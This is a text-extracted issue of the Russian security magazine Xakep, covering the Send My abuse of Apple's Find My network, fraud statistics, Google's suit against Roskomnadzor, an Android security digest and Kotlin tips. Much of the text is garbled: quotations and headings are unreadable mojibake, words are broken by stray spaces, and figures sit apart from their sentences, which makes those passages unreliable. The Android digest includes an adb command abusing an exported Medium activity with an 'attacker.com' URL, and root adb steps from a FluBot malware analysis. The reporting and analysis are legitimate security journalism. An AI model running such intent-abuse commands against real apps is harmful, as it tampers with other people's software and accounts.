и тран закции на сум му более  дол ларов, которые пред положи тель но свя заны
с Hydra.

1000
7  000  000

ПОЛЕЗНЫЙ FIND MY
Раз работ чики ком пании Positive Security прис пособи ли для переда чи дан ных
сер вис Find My («Локатор») ком пании Apple, который обыч но исполь зует ся
для поис ка гад жетов, лич ных вещей и переда чи дан ных о мес тополо жении.

На пом ню, что в 2019 году при ложе ния «Най ти дру зей» и «Най ти iPhone»
(Find my Friends и Find My iPhone) были объ еди нены в сер вис Find My. Он
пред став ляет собой кра удсорсин говую сис тему отсле жива ния мес тополо- 
жения, поз воляя лег ко находить потерян ные и укра ден ные устрой ства, а так- 
же в одном мес те отсле живать любые гад жеты Apple, лич ные вещи с бре лока- 
ми AirTag, а так же мес тополо жение род ных и дру зей.

Find My работа ет пос редс твом Bluetooth Low Energy (BLE), то есть фун кци- 
они рует, даже если устрой ство не под клю чено к интерне ту, а сотовая связь
отсутс тву ет. Для это го устрой ства Apple вре мя от вре мени тран сли руют вов не
спе циаль ный Bluetooth-сиг нал, который могут обна ружи вать и рас позна вать
дру гие девай сы Apple, ока зав шиеся поб лизос ти. Такие сиг налы пода ются
даже в спя щем режиме, а затем рет ран сли руют ся дру гими поль зовате лями
на сер веры Apple.

В мар те текуще го года экспер ты Дарм штад ско го тех ничес кого уни вер- 
ситета в Гер мании опуб ликова ли иссле дова тель скую работу, которая про- 
лива ла свет на раз личные уяз вимос ти и недос татки Apple Find My. Имен но
на этот документ опи рались спе циалис ты Positive Security, которые сумели
раз вить идею зло упот ребле ния сер висом гораз до даль ше. В ито ге они соз- 
дали ата ку под наз вани ем Send My, которая экс плу ати рует тех нологию Find
My для переда чи про изволь ных дан ных.

Со учре дитель Positive Security Фаби ан Брой нлайн (Fabian Bräunlein) рас- 
ска зыва ет, что, хотя соеди нение меж ду бре локом AirTag и устрой ством Apple
всег да защище но с помощью пары клю чей Elliptic Curve, устрой ство вла дель- 
ца не зна ет, какой имен но ключ исполь зует ся AirTag. Для это го генери рует ся
целый спи сок клю чей, которые недав но исполь зовались AirTag, а так же
у служ бы Apple зап рашива ются их хеши SHA-256.

«Apple íå çíà åò, êàêèå îòêðû òûå êëþ ÷è ïðè íàä ëåæàò âàøåìó AirTag è,

ñëå äîâà òåëü íî, êàêèå îò÷å òû î ìåñ òîïîëî æåíèè ïðåä íàçíà ÷åíû

äëÿ âàñ», — ïèøåò ýêñïåðò.

По идее, упо мяну тые отче ты о мес тополо жении могут быть рас шифро ваны
толь ко с помощью кор рек тно го при ват ного клю ча, одна ко иссле дова тели
обна ружи ли, что они могут про верить, сущес тву ют ли отче ты для опре делен- 
ного хеша SHA-256 в прин ципе, и даже добавить отче ты для опре делен ного
хеша SHA-256.

«Ìû ìîæåì âíåä ðèòü ïðî èçâîëü íûé íàáîð áèòîâ â îòêðû òûé êëþ÷

â õðà íèëè ùå, à çàòåì ñíî âà îñó ùåñ òâèòü çàï ðîñ. Åñëè îòïðà âèòåëü

è ïîëó÷à òåëü ñîã ëàñîâû âàþò ñõå ìó êîäèðî âàíèÿ, ìû ïîëó÷à åì âîç- 

ìîæíîñòü ïåðåäà âàòü ïðî èçâîëü íûå äàí íûå».

Для сво их опы тов и пред став ленно го proof-of-concept спе циалис ты исполь- 
зовали мик рокон трол лер ESP32, про шив ку на осно ве опен сор сно го инс тру- 
мен та OpenHaystack (соз данно го уче ными Дарм штад ско го тех ничес кого уни- 
вер ситета в рам ках сво ей иссле дова тель ской работы), а так же macOS-при- 
ложе ние, пред назна чен ное для извле чения, декоди рова ния и отоб ражения
передан ных дан ных.

Для получе ния дан ных с устрой ства macOS нуж но исполь зовать пла гин
Apple Mail, который работа ет с повышен ными при виле гиями (что бы соб люсти
тре бова ния Apple к аутен тифика ции для дос тупа к дан ным о мес тополо- 
жении). Кро ме того, поль зователь дол жен уста новить OpenHaystack и запус- 
тить при ложе ние DataFetcher для macOS, соз данное Брой нлай ном для прос- 
мотра таких несан кци они рован ных передач.

Та кой метод переда чи информа ции отлично под ходит для заг рузки показа ний
сен соров и дру гих дан ных с IoT-устрой ств, для извле чения дан ных из зак- 
рытых и изо лиро ван ных от интерне та сис тем, а так же может уда рить
по кошель ку бли жай шего поль зовате ля iPhone из-за боль шого количес тва
передан ных дан ных и мно жес тва уни каль ных откры тых клю чей. Дело в том, что
переда ча боль шого количес тва уни каль ных откры тых клю чей зна читель но уве- 
личи вает объ емы мобиль ного тра фика, так как раз меры отче тов пре выша- 
ют 100 байт.

При этом ата ку Send My, конеч но, вряд ли мож но наз вать высокос корос- 
тной. Так, ско рость отправ ки дан ных в сред нем сос тавля ет при мер но 3 бай та
в секун ду, хотя мож но дос тичь и более высоких ско рос тей. Так же переда ча
дан ных про исхо дит с задер жкой от 1 до 60 минут, в зависи мос ти от количес- 
тва находя щих ся поб лизос ти устрой ств Apple.

Тем не менее Брой нлайн счи тает, что с помощью ата ки Send My, по сути,
мож но соз дать ана лог Amazon Sidewalk (IoT-сети Amazon) на базе сетевой
инфраструк туры Apple. По его мне нию, в целом эту угро зу нель зя наз вать
новой, учи тывая сущес тво вание гло баль ных мобиль ных и спут никовых сетей,
которые мож но исполь зовать для переда чи дан ных. Одна ко Send My может
быть осо бен но полез на для извле чения дан ных из зак рытых сис тем и сетей.

Для защиты от подоб ных атак экспер ты рекомен дуют Apple реали зовать
аутен тифика цию BLE advertising’а (в нас тоящее вре мя нет раз ницы меж ду
реаль ными и спу фин говыми AirTags), а так же огра ничить час тоту получе ния
отче тов о мес тополо жении.

 ИЗ  РОССИЯН СТАЛКИВАЛИСЬ С ТЕЛЕФОННЫМИ
МОШЕННИКАМИ
9 10

Спе циалис ты Tinkoff Data пре дуп редили, что за пер вые четыре месяца 2021 года количес тво
мошен ничес ких телефон ных звон ков воз росло на  (по срав нению с ана логич ным пери- 
одом прош лого года). Пик этой вол ны при шел ся на январь, так как зло умыш ленни ки стре мят ся
исполь зовать праз днич ную рас слаб ленность рос сиян и вре мен ную потерю бди тель нос ти.

170%

В резуль тате с телефон ными ска мера ми стал кивались  из  рос сиян. Впро чем, люди все луч- 
ше учат ся опре делять, что говорят с мошен никами: из-за это го доля успешных мошен ничес ких
звон ков сок ратилась с  до .

9 10

22,5 13%

GOOGLE ПРОТИВ РКН
Из дание «Ком мерсант» сооб щило, что еще 23 апре ля 2021 года аме рикан- 
ская Google LLC подала иск в Арбитраж ный суд Мос квы к Рос комнад зору,
оспа ривая тре бова ния по уда лению 12 ссы лок с «про тивоп равным кон- 
тентом». Речь идет о ссыл ках на 12 роликов на YouTube, которые, по мне нию
Рос комнад зора, содер жат при зывы учас тво вать в митин гах в янва- 
ре 2021 года. 11 мая Арбитраж ный суд Мос квы при нял иск к про изводс тву.

Ра нее Google LLC ни разу не ини цииро вала судеб ных раз биратель ств
по оспа рива нию ненор матив ных актов Рос комнад зора в Рос сии, выс тупая
лишь в качес тве ответчи ка или треть его лица.

«Ðîñ êîìíàä çîð íà îñíî âàíèè òðå áîâà íèé Ãåí ïðî êóðà òóðû íàï ðàâèë

â àäðåñ àäìè íèñ òðà öèè Google óâå äîì ëåíèå îá îãðà íè÷å íèè äîñ òóïà

ê ìàòåðè àëàì ñ ïðè çûâà ìè, â òîì ÷èñ ëå ê íåñîâåð øåííî ëåò íèì, ó÷àñ- 

òâî âàòü â íåñàí êöè îíè ðîâàí íûõ ìèòèí ãàõ â ÿíâà ðå 2021 ãîäà», —

ãîâîðÿò ïðåä ñòà âèòå ëè âåäîìñ òâà.

Сог ласно опре деле нию Арбитраж ного суда Мос квы от 27 апре ля, речь в спо- 
ре идет о приз нании незакон ными дей ствий по огра ниче нию дос тупа
к информа цион ному ресур су, объ ясня ет управля ющий пар тнер Hogan Lovells
CIS Наталья Гуля ева. «Google оспа рива ет дей ствия Рос комнад зора в имев- 
шей мес то ранее адми нис тра тив ной про цеду ре», — пояс няет она.

«Ïîëàãàþ, ÷òî Google óìûø ëåííî ïîäàëà èñê îò èìå íè ãîëîâ íîé êîì- 

ïàíèè, à íå îò äî÷åð íåãî ÎÎÎ „Ãóãë“, ïðåä ïîëàãàÿ ïðî èãðûø â ïåð âîé

è àïåë ëÿöè îííîé èíñòàí öèÿõ â Ðîñ ñèè, â íàäåæ äå îñïà ðèâàòü ýòè

ðåøåíèÿ â äðó ãèõ þðèñ äèêöè ÿõ, íàï ðèìåð â Åâðî ïåé ñêîì ñóäå», —

ñîîá ùèë èçäà íèþ àäâî êàò, óïðàâëÿ þùèé ïàð òíåð AVG Legal Àëåê ñåé

Ãàâ ðèøåâ.

Од новре мен но с этим ста ло извес тно, что Рос комнад зор пре дуп редил о воз- 
можном замед лении работы сер висов Google, так как поис ковый гигант яко- 
бы вышел на пер вое мес то в Рос сии по объ ему зап рещен ного кон тента.

«Ïîñ ëå òîãî êàê Twitter ïî òðå áîâà íèþ Ðîñ êîìíàä çîðà óäà ëèë 91%

çàï ðåùåí íîé èíôîðìà öèè, Google âûøåë íà ïåð âîå ìåñ òî

ïî êîëè÷åñ òâó íåóäà ëåí íîãî ïðî òèâîï ðàâíî ãî êîí òåíòà, íàíîñÿ ùåãî

ïðÿ ìîé âðåä ðîñ ñèé ñêèì ïîëü çîâàòå ëÿì. Íà ñåãîä íÿøíèé äåíü

íà YouTube íå óäà ëåíî ïîðÿä êà ïÿòè òûñÿ÷ çàï ðåùåí íûõ ìàòåðè àëîâ.

Áîëü øå âñå ãî — 3,5 òûñÿ÷è — ñ ïðè çûâà ìè ê ýêñ òðå ìèç ìó.

Áîëåå 900 — ìàòåðè àëîâ, ïðèç íàííûõ çàï ðåùåí íûìè ñóäîì», —

öèòèðó åò ïðåä ñòà âèòå ëÿ Ðîñ êîìíàä çîðà «Èíòåðôàêñ».

Со обща ется, что сум марно Рос комнад зор нап равил в адрес адми нис тра ции
Google более 26 тысяч уве дом лений о необ ходимос ти уда ления про тивоп- 
равной информа ции. Теперь регуля тор под черки вает, что может замед лить
работу сер висов Google на осно вании объ ема дос тупно го до сих пор зап- 
рещен ного кон тента, вклю чая дет скую пор ногра фию, сце ны жес токих убий ств
живот ных, при зывы к суици ду, к учас тию в незакон ных акци ях, матери алы
о нар котиках, а так же свя зан ные с тер рорис тичес кими и экс тре мист ски ми
орга низа циями.

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
Шиф роваль щик Babuk прек раща ет работу и ста новит ся опен сор сным

Apple испра вила нес коль ко 0-day-багов в WebKit

В драй вере Dell устра нили уяз вимость 12-лет ней дав ности

Об наружен новый рут кит Moriya, пред назна чен ный для Windows

Опе ратор WeLeakInfo при гово рен к двум годам лишения сво боды

Ир ланд ская служ ба здра воох ранения пос тра дала от ата ки шиф роваль щика

За мед ление Twitter час тично отме нено, но теперь замед лить могут Facebook и YouTube

Опуб ликован экс пло ит для кри тичес кой уяз вимос ти в Windows IIS

Май неры зло упот ребля ют ресур сами облачных плат форм

В чипах Apple M1 обна ружен пер вый баг, получив ший имя M1RACLES

https://xakep.ru/2020/08/11/exit-nodes-problem/
https://xakep.ru/2021/04/30/babuk/
https://xakep.ru/2021/05/04/webkit-0days/
https://xakep.ru/2021/05/05/dbutil-bug/
https://xakep.ru/2021/05/07/moriya/
https://xakep.ru/2021/05/13/weleakinfo-sentenced/
https://xakep.ru/2021/05/17/hse-conti/
https://xakep.ru/2021/05/17/twitter-slowdown/
https://xakep.ru/2021/05/18/cve-2021-31166/
https://xakep.ru/2021/05/20/ci-mining/
https://xakep.ru/2021/05/27/m1racles/
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Се год ня в выпус ке: изме нения в защите при ват ных дан ных
поль зовате лей в Android 12, иссле дова ние проб лем неп- 
равиль ной нас трой ки облачных сер висов в при ложе ниях,
статья о пра вилах раз бора и ана лиза кода мал вари на при- 
мере FluBot, а так же смеш ная уяз вимость в при ложе нии
Medium. Как бонус: опти миза ция запус ка при ложе ния и оче- 
ред ные советы раз работ чикам.

ÏÎ×ÈÒÀÒÜ

Android 12 è ïðàéâàñè

 — офи циаль ный анонс изме нений в защите
поль зователь ских дан ных в Android 12.
What’s new in Android Privacy

 В Android 12 будет спе циаль ный экран нас тро ек, показы- 
вающий, как час то уста нов ленные при ложе ния получа ли дос туп к мик- 
рофону, камере, мес тополо жению и дру гим сен сорам и дан ным.

• Privacy-ýêðàí.

 Вслед за Apple инже неры Google
добави ли в Android 12 инди като ры дос тупа к камере и мик рофону. Если
какое-то при ложе ние в дан ный момент исполь зует то или дру гое, в вер- 
хней час ти экра на появит ся соот ветс тву ющая икон ка. Более того, пос ле
откры тия штор ки мож но будет уви деть, какие кон крет но при ложе ния име- 
ют дос туп к камере и мик рофону, и немед ленно зап ретить дос туп.

• Èí äèêàòî ðû êàìåðû è ìèê ðîôîíà.

 Диалог зап роса мес тополо- 
жения будет давать воз можность выб рать, каким типом информа ции
о мес тополо жении делить ся с при ложе нием: точ ным мес тополо жени ем
либо приб лизитель ным. Вто рое хорошо под ходит, нап ример, для погод- 
ных сер висов.

• Ïðèá ëèçèòåëü íîå ìåñ òîïîëî æåíèå.

 Android 12 будет показы вать
сооб щение каж дый раз, ког да какое-либо при ложе ние про чита ет содер- 
жимое буфера обме на. Единс твен ное исклю чение, ког да это го не про- 
изой дет, — если буфер обме на чита ет при ложе ние, находя щееся
в текущий момент на экра не.

• Óâå äîì ëåíèå î ÷òå íèè áóôåðà îáìå íà.

 Обна руже ние Bluetooth-
устрой ств в текущей Android 11 и ниже тре бует раз решение на дос туп
к мес тополо жению (да, имен но так). В Android 12 у этой опе рации появит- 
ся собс твен ное спе циаль ное раз решение.

• Ïîë íîìî÷èå íà îáíà ðóæå íèå óñòðîé ñòâ.

 Android 11 уме ет отзы вать раз решения у дав- 
но не исполь зуемых при ложе ний. Android 12 идет еще даль ше и пол ностью
«усып ляет» такие при ложе ния, забирая у них занима емое дис ковое прос- 
транс тво. Для вывода при ложе ния из сна дос таточ но запус тить его.

• Óñûï ëåíèå ïðè ëîæå íèé.

Ïðîáëåìû íåïðàâèëüíîé íàñòðîéêè îáëà÷íûõ ñåðâèñîâ

 — статья о таких уяз вимос тях при ложе ний, которые
выз ваны неп равиль ной нас трой кой облачных сер висов. Никаких прак тичес ких
при меров взло ма в статье нет, но общая ста тис тика весь ма инте рес на.

Mobile app developers’ misconguration of third party services leave personal data
of over 100 million exposed

1.  Здесь все прос то,
откры тые на все общее обоз рение базы дан ных до сих пор час то встре- 
чают ся в том чис ле в при ложе ниях. Как при мер: при ложе ние-горос коп
Astro Guru сох раня ет в базу дан ных email поль зовате ля, его имя, пол, мес- 
тополо жение и дату рож дения. А при ложе ние для заказа так си T’Leva хра- 
нит в откры той БД пол ную перепис ку меж ду пас сажира ми и водите лями.

Íåï ðàâèëü íîå êîí ôèãóðè ðîâà íèå îáëà÷íîé ÁÄ.

2.  Боль шинс тво сер висов push-уве дом лений
для отправ ки уве дом ления от име ни кон крет ного при ложе ния тре буют
исполь зовать при вязан ный к нему крип тогра фичес кий ключ. Но что, если
этот ключ будет вшит в код самого при ложе ния в откры том виде? В этом
слу чае ключ мож но будет извлечь и исполь зовать для отправ ки уве дом- 
лений от име ни это го при ложе ния.

Ïóø‑óâå äîì ëåíèÿ.

3.  С сетевы ми хра нили щами проб лема обыч но та
же, что и с облачны ми БД. Если не нас тро ить аутен тифика цию или вшить
клю чи дос тупа пря мо в код при ложе ния — дан ные будут в опас ности.
От этой проб лемы, нап ример, стра дает при ложе ние Screen Recorder
с 10 мил лиона ми уста новок.

Ñå òåâûå õðà íèëè ùà.

Сто ит ска зать, что мно гие раз работ чики все-таки пыта ются скрыть клю чи дос- 
тупа к облачным сер висам, но обыч но дела ют это столь неуме ло, что клю чи
извле кают ся три виаль но. Нап ример, при ложе ние iFax пыта ется скрыть клю чи,
исполь зуя Base64, поэто му все, что нуж но сде лать, — это прос то ско пиро вать
закоди рован ную в Base64 стро ку и рас кодиро вать ее с помощью любой ути- 
литы, уме ющей работать с этим фор матом. Раз бивка клю чей на час ти
и исполь зование XOR так же популяр ные решения. Забав но, что имен но так
дела ет мал варь CopyCat.

При мер сооб щения, извле чен ного из БД при ложе ния T’Leva

Åùå îäíà óÿçâèìîñòü â ïðèëîæåíèè Medium

 — корот кая замет ка об оче ред ной
дурац кой уяз вимос ти в мобиль ном при ложе нии блог-плат формы Medium.
Exploiting Activity in medium android app

Суть статьи сво дит ся к сле дующе му. В при ложе нии есть активность
. Все, что она дела ет, — это сох раня ет статью в спи- 

сок избран ного. Ока залось, что активность не толь ко дос тупна извне любому
дру гому при ложе нию (экспор тирова на), но и поз воля ет сох ранять в спи сок
какой угод но URL, а не толь ко статьи, опуб ликован ные на самом Medium.

SaveToMediumActivity

Как итог: в спи сок избран ного мож но лег ко добавить что угод но
с помощью прос тей шего при ложе ния или такой коман ды:

$ adb shell am start -n com.medium.reader/com.medium.android.donkey.
save.SaveToMediumActivity -e android.intent.extra.TEXT "https://
attacker.com"

Ах да. За все это Medium зап латил баг-баун ти.

Ðàçáîðêà è àíàëèç ìàëâàðè

 — статья
об эта пах ана лиза злов редных при ложе ний на при мере тро яна
Cabassous/FluBot.

How to analyze mobile malware: a Cabassous/FluBot Case study

1. Для начала рас паковы ваем APK с помощью apktool или любого дру гого
ана логич ного инс тру мен та.

2. От кры ваем файл  и находим основную активность
при ложе ния. Она име ет сле дующий интент-филь тр:

AndroidManifest.xml

<intent-filter>
     <action android:name="android.intent.action.MAIN"/>
     <category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>

В слу чае с FluBot активность име ет имя 
. Но в пакете такой активнос ти нет.

com.tencent.mobileqq.
MainActivity

3. Смот рим, какие еще инте рес ные фай лы и клас сы есть в пакете. В слу чае
с FluBot пакет так же содер жал сле дующие фай лы: 
в катало ге dex (воз можно, зашиф рован ный код мал вари), пакет 

 в деком пилиро ван ном коде при ложе ния, пакеты ,  и 
(явно обфусци рован ные) и биб лиоте ку  (ее так же
мож но най ти в при ложе нии WhatsApp).

classes-v1.bin
com.

whatsapp n np obfuse
libreactnativeblob.so

4. Оче вид но, что авто ры мал вари прос то перепа кова ли WhatsApp, вклю чив
в него злов редную фун кци ональ ность. Поэто му сле дующее, что нуж но
сде лать, — узнать, чем отли чают ся ори гиналь ный пакет WhatsApp и ока- 
зав ший ся у нас обра зец. Сде лать это мож но с помощью ути литы :apkdiff

x86 nodpi
$ python3 apkdiff.py ../com.whatsapp_2.21.3.19-210319006_minAPI16\
( \)\( \)_apkmirror.com.apk ../Cabassous.apk 

В дан ном слу чае автор срав нива ет мал варь с WhatsApp вер- 
сии 2.21.3.19 потому, что в дизас сем бли рован ных лис тингах мал вари (в
фай ле ) уда лось най ти имя вер сии: 2.21.3.19-play-
release.

AbstractAppShell

5. Ока залось, что авто ры мал вари модифи циро вали все го четыре фай ла
ори гиналь ного WhatsApp и в общем в них нет ничего инте рес ного. Поэто- 
му сле дующий шаг — попыт ка выяс нить, где же находит ся основная
активность при ложе ния. Оче вид но, что она в фай ле ,
но чем он запако ван? Для начала поп робу ем исполь зовать ути литу .

classes-v1.bin
APKiD

APKiD бес силен

Она не дает резуль тата. В таком слу чае сто ит поп робовать разоб рать ся
в коде клас сов тех самых пакетов ,  и . Одна ко они силь но
обфусци рова ны с исполь зовани ем имен клас сов в юни коде и реф лексии.
В этом мож но разоб рать ся, но про ще исполь зовать динами чес кий ана лиз.

n np obfuse

6. Что бы выпол нить динами чес кий ана лиз, мы дол жны понять, как мал варь
вооб ще запус кает свою злов редную фун кци ональ ность. Как мы уже
видели, активнос ти, ука зан ной в манифес те, вооб ще не сущес тву ет в коде.
Это зна чит, что она находит ся где-то в запако ван ном (и зашиф рован ном)
коде и поэто му где-то дол жен сущес тво вать код рас паков ки. Час то авто ры
мал вари засовы вают такой код в бло ки ста тичес кой ини циали зации Java,
которые получа ют управле ние сра зу пос ле заг рузки клас са и до запус ка
основной активнос ти при ложе ния.

Ста тичес кие ини циали зато ры лег ко най ти с помощью grep

7.  — один из самых удоб ных инс тру мен тов динами чес кого ана- 
лиза. По сути, это гра фичес кая обер тка для Frida с пред нас тро енны ми
хуками и воз можностью быс трой уста нов ки сво их хуков. В слу чае с FluBot
Dexcalibur показы вает все исполь зования реф лексии, одна ко фун кции
рас паков ки сре ди них нет. Это про исхо дит потому, что бло ки ста тичес кой
ини циали зации выпол няют ся еще до начала работы Frida.

Dexcalibur

8. Те перь у нас есть три пути: поп робовать все-таки разоб рать ся в обфусци- 
рован ном коде заг рузчи ка и уда лить из него код уда ления рас пакован ного
DEX-фай ла (обыч но мал варь уда ляет его сра зу пос ле заг рузки в память);
най ти все ста тичес кие ини циали зато ры, прев ратить их в обыч ные ста- 
тичес кие фун кции и написать код их вызова; ско пиро вать дизас сем бли- 
рован ный код при ложе ния в Android Studio и запус тить его под управле- 
нием отладчи ка.

9. Ока залось, одна ко, что все это не нуж но, так как мал варь по какой-то при- 
чине забыва ет уда лить рас пакован ный код пос ле его рас паков ки. Поэто му
дос таточ но вытащить уже рас пакован ный DEX-файл из при ват ного катало- 
га при ложе ния:

$ adb shell 
su hammerhead:/ $ 

hammerhead:/ # cp /data/data/com.tencent.mobileqq/
app_apkprotector_dex /data/local/tmp/classes-v1.bin
hammerhead:/ # chmod 666 /data/local/tmp/classes-v1.bin
hammerhead:/ # exit
hammerhead:/ $ exit
$ adb pull /data/local/tmp/classes-v1.bin payload.dex 
/data/local/tmp/classes-v1.bin: 1 file pulled. 18.0 MB/s (3229988 
bytes in 0.171s)

10. Те перь мож но спо кой но занять ся ана лизом кода мал вари. Здесь все дос- 
таточ но стан дар тно, и об этом мож но про читать в ори гина ле статьи.

ÐÀÇÐÀÁÎÒ×ÈÊÓ

Îïòèìèçàöèÿ ñêîðîñòè çàïóñêà ïðèëîæåíèÿ

 — оче ред ная статья
об опти миза ции ско рос ти запус ка при ложе ний для Android. Ничего нового
она не рас ска зыва ет, но автор при водит нес коль ко весь ма инте рес ных наб- 
людений.

From zero to hero: Optimizing Android app startup time

1.  При нято счи тать, что так называ емый
service locator, которым явля ется Koin, мед леннее «нас тояще го» DI-фрей- 
мвор ка, такого как Dagger. Замеры авто ра показы вают, что пос ле перево- 
да при ложе ния с Koin на Dagger ско рость запус ка при ложе ния сов сем
не меня ется. Koin быс трый.

Koin íå ìåä ëåííåå Dagger.

2.  В ста рые вре мена счи- 
талось хорошей прак тикой исполь зовать пулы объ ектов вмес то соз дания
объ ектов с нуля. Сов ремен ные вер сии Android поз воля ют соз давать объ- 
екты нас толь ко быс тро, что пулы объ ектов перес тали вно сить какую-то
роль в про изво дитель ность при ложе ния.

Ñîç äàíèå îáú åêòîâ — äåøåâàÿ îïå ðàöèÿ.

3.  Час то в голову раз работ- 
чиков при ходит идея убрать из клас са Application все тяжелые опе рации
или вынес ти их в фоновые потоки. Как ни стран но, это ничего не дает.

Î÷èñ òêà êëàñ ñà Application íå ïîìîãà åò.

4.  Око ло 60 мил- 
лисекунд мож но выиг рать на отло жен ной ини циали зации Firebase
с помощью androidx.startup.

Îò ëîæåí íàÿ èíè öèàëè çàöèÿ Firebase ïîìîãà åò.

5.  По умол- 
чанию Android запус кает код при ложе ния не из самого пакета при ложе ния,
а из спе циаль но под готов ленно го odex-фай ла, содер жащего опти мизи- 
рован ный и час тично ском пилиро ван ный в машин ные инс трук ции код.
Такой код быс трее работа ет, но, как ока залось, доль ше запус кает ся. Если
исполь зовать опцию , мож но добить ся уско- 
рения запус ка при ложе ния, но про играть в ско рос ти работы. Кому что важ- 
нее.

Îï öèÿ android:useEmbeddedDex=true ìîæåò ïîìî÷ü.

android:useEmbeddedDex=true

6.  Логич но, что
боль шую часть вре мени запус ка сжи рает метод  основной
активнос ти при ложе ния. Это имен но то мес то, куда сто ит при ложить уси- 
лия.

onCreate — òî ìåñ òî, ãäå îáû÷ íî êðî åòñÿ ïðîá ëåìà.

onCreate

7. 
 ProGuard сок раща ет раз мер кода при ложе ния, так что его

вли яние дос таточ но ожи даемо. С дру гой сто роны, автор не уточ няет,
прос то ли он вклю чил ProGuard или про тес тировал релиз ную сбор ку при- 
ложе ния. Все-таки дебаг-сбор ки всег да работа ют мед леннее из-за
логиро вания и отклю чен ных опти миза ций в биб лиоте ках (в одном из пре- 
дыду щих выпус ков дай джес та было показа но, что отла доч ная сбор ка
замед ляет ини циали зацию биб лиоте ки корутин при мер но в десять раз —
до 100 мил лисекунд).

Îá ôóñêà öèÿ ñ ïîìîùüþ ProGuard ñåðü åçíî ïîâûøà åò ïðî èçâî- 

äèòåëü íîñòü.

Î÷åðåäíàÿ ïîäáîðêà ñîâåòîâ

 — пять при емов раз- 
работ ки для Android, которые могут помочь писать более понят ный и тес- 
топри год ный код. Наибо лее инте рес ные при емы:

Top Put_your_number Kotlin utils we use all over our project

 В Android есть класс ,
который пред назна чен для дос тупа к ресур сам при ложе ния. Стан дар тный
путь получе ния объ екта это го клас са — через Context. Одна ко это не всег да
удоб но. Нап ример, при бин динге ViewHolder’а получать дос туп к ресур сам
при дет ся при мер но так:

Ïðîê ñè äëÿ äîñ òóïà ê ðåñóð ñàì. Resources

viewHolder.itemView.context.resources.getDimensionPixelSize(R.dimen.
my_dimen)

Очень длин ная стро ка. К тому же мы не смо жем внят но про тес тировать этот
код (без исполь зования гряз ных хаков вро де Robolectric).

Ре шение обе их проб лем сос тоит в том, что бы соз дать обер тку для клас са
Resources:

  interface ResourcesProvider {
     val isRtl: Boolean

   @ColorInt
       fun getColor(@ColorRes resId: Int): Int
       fun getString(@StringRes resId: Int): String
          fun getString(@StringRes resId: Int, vararg args: Any): String
       fun getDimen(@DimenRes resId: Int): Float
       fun getDimenInt(@DimenRes resId: Int): Int
   // Другие методы
}

@Suppress("TooManyFunctions")
  inline class AppResourcesProvider(

          private val context: Context
   ) : ResourcesProvider {

         override val isRtl: Boolean get() = context.isRtl
   @ColorInt
        override fun getColor(resId: Int) = context.getColorCompat(resId)
         override fun getColorStateList(resId: Int): ColorStateList? =
context.getColorStateListCompat(resId)
        override fun getString(resId: Int) = context.getString(resId)
           

 
override fun getString(resId: Int, vararg args: Any) = context.

getString(resId, *args)
         override fun getDimen(resId: Int): Float = context.resources.
getDimension(resId)
        override fun getDimenInt(resId: Int) = context.resources.
getDimensionPixelSize(resId)
   // Другие методы
}

Бла года ря интерфей су класс лег ко под делать (mocking) для тес тирова ния.
К тому же ему мож но делеги ровать все вызовы типа  в том же
ViewHolder:

getColor

  abstract class ResViewHolder(
        itemView: View,

     ) : RecyclerView.ViewHolder(itemView), ResourcesProvider by
AppResourcesProvider(itemView.context)

Прос то и удоб но, а бла года ря исполь зованию сло ва inline — в боль шинс тве
слу чаев класс даже не будет соз дан — код методов будет встро ен в вызыва- 
ющую сто рону.

 Во вре мя раз- 
работ ки неред ко воз ника ет необ ходимость изме нить отступ того или ино го
эле мен та интерфей са. Популяр ная биб лиоте ка рас ширений Android KTX
пред лага ет делать это так:

Ôóí êöèè‑ðàñ øèðåíèÿ äëÿ èçìå íåíèÿ îòñòó ïîâ.

 view.updateLayoutParams {
     updateMarginsRelative(start = newMargin)
}

И это доволь но стран ный и сов сем не опи сатель ный спо соб. Вмес то это го
мы бы хотели делать это как-то так:

  view.margin.start = newMargin

Код, поз воля ющий сде лать это:

    val View.margin get() = ViewMargin(this)

      inline class ViewMargin(private val view: View) {
     var start: Int

         get() = view.marginStart
              set(value) = applyMargin { marginStart = value }

     var top: Int
         get() = view.marginTop

              set(value) = applyMargin { topMargin = value }

     var end: Int
         get() = view.marginEnd

              set(value) = applyMargin { marginEnd = value }

     var bottom: Int
         get() = view.marginBottom

              set(value) = applyMargin { bottomMargin = value }

     var horizontal: Int
           get() = start + end

        set(value) {
             start = value

             end = value
       }

     var vertical: Int
           get() = top + bottom

        set(value) {
             top = value

             bottom = value
       }

     var total: Int
          @Deprecated("No getter for that field", level =

DeprecationLevel.HIDDEN)
          get() = throw UnsupportedOperationException("No getter for 

such field")
        set(value) {

             horizontal = value
             vertical = value

       }

       
   
private inline fun applyMargin(body: ViewGroup.MarginLayoutParams

.() -> Unit) {
           if (view.layoutParams is ViewGroup.MarginLayoutParams) {

           view.updateLayoutParams(body)
         } else {

            throw IllegalStateException("Parent layout doesn't 
support margins")
       }
   }
}

ÁÈÁËÈÎÒÅÊÈ

 — набор UI-эле мен тов для соз дания экра на нас тро ек
с исполь зовани ем Jetpack Compose;

• Compose-settings

 — шаб лон кон соль ного при ложе ния на Kotlin;• Kotlin-cli-starter
 — биб лиоте ка для раз работ ки кон соль ных дес ктоп ных при ложе ний

на Jetpack Compose (в этом тек сте нет ошиб ки).
• Mosaic
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https://github.com/JakeWharton/mosaic


DARKSIDE

COLONIAL
PIPELINE

VS

КАК ВЗЛОМ ОПЕРАТОРА ТРУБОПРОВОДОВ
ВЫНУДИЛ АНДЕГРАУНД

ЗАПРЕТИТЬ ШИФРОВАЛЬЩИКИ

 «Mifrill» Мария Нефёдова
nefedova@glc.ru

HEADER

В мае 2021 года круп ней ший в США опе- 
ратор тру боп роводов Colonial Pipeline,
занима ющий ся тран спор тиров кой топ лива,
пос тра дал от ата ки шиф роваль щика
DarkSide. Похоже, эта ата ка, из-за которой
в ряде шта тов был вве ден режим ЧС, ста ла
той самой соломин кой, спо соб ной перело- 
мить спи ну вер блю да: вни мание пра воох- 
ранитель ных орга нов к шиф роваль щикам
уси лилось, а на хакер ских форумах пос- 
пешили зап ретить рек ламу вымога тель ско- 
го ПО.

ÀÒÀÊÀ ÍÀ COLONIAL PIPELINE

Круп ные ком пании и орга низа ции в пос леднее вре мя неред ко ста новят ся
жер тва ми хакер ских атак. Но если одни хакер ские груп пы 

 сфе ру здра воох ранения, кри тичес кую инфраструк туру и в целом ста- 
рают ся не прив лекать к себе излишнее вни мание, дру гие не щадят никого
